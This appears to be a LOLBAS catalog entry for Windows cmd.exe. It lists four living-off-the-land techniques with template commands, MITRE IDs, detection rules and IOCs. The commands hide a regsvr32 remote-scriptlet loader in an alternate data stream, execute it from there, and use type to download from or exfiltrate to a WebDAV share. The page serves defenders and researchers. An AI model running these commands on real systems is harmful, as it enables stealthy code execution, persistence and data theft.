LOL · Binary

Cmd.exe

4 techniques WindowsLOLBAS GPL-3.0

Defense EvasionFile Write Windows

Add content to an Alternate Data Stream (ADS).

Use Can be used to evade defensive countermeasures or to hide as a persistence mechanism

cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat

Context: user
Native: ADS
MITRE: T1564.004
Detection: Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml
Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml
Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
IOC: cmd.exe executing files from alternate data streams.
IOC: cmd.exe creating/modifying file contents in an alternate data stream.
Refs: twitter.com/yeyint_mth/status/1143824979139579904
twitter.com/Mr_0rng/status/1601408154780446721
medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22
learn.microsoft.com/en-us/windows-server/administration/windows-commands/type
lolbas-project.github.io/lolbas/Binaries/Cmd/

Defense EvasionFile Write Windows

Execute payload.bat stored in an Alternate Data Stream (ADS).

Use Can be used to evade defensive countermeasures or to hide as a persistence mechanism

cmd.exe - < {PATH}:payload.bat

Context: user
Native: ADS
MITRE: T1059.003
Detection: Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml
Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml
Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
IOC: cmd.exe executing files from alternate data streams.
IOC: cmd.exe creating/modifying file contents in an alternate data stream.
Refs: twitter.com/yeyint_mth/status/1143824979139579904
twitter.com/Mr_0rng/status/1601408154780446721
medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22
learn.microsoft.com/en-us/windows-server/administration/windows-commands/type
lolbas-project.github.io/lolbas/Binaries/Cmd/

Download

File Download Windows

Downloads a specified file from a WebDAV server to the target file.

Use Download/copy a file from a WebDAV server

type {PATH_SMB} > {PATH_ABSOLUTE}

Context: user
Native: Download
MITRE: T1105
Detection: Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml
Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml
Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
IOC: cmd.exe executing files from alternate data streams.
IOC: cmd.exe creating/modifying file contents in an alternate data stream.
Refs: twitter.com/yeyint_mth/status/1143824979139579904
twitter.com/Mr_0rng/status/1601408154780446721
medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22
learn.microsoft.com/en-us/windows-server/administration/windows-commands/type
lolbas-project.github.io/lolbas/Binaries/Cmd/

File Upload Windows

Uploads a specified file to a WebDAV server.

Use Upload a file to a WebDAV server

type {PATH_ABSOLUTE} > {PATH_SMB}

Context: user
Native: Upload
MITRE: T1048.003
Detection: Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml
Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml
Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml
IOC: cmd.exe executing files from alternate data streams.
IOC: cmd.exe creating/modifying file contents in an alternate data stream.
Refs: twitter.com/yeyint_mth/status/1143824979139579904
twitter.com/Mr_0rng/status/1601408154780446721
medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22
learn.microsoft.com/en-us/windows-server/administration/windows-commands/type
lolbas-project.github.io/lolbas/Binaries/Cmd/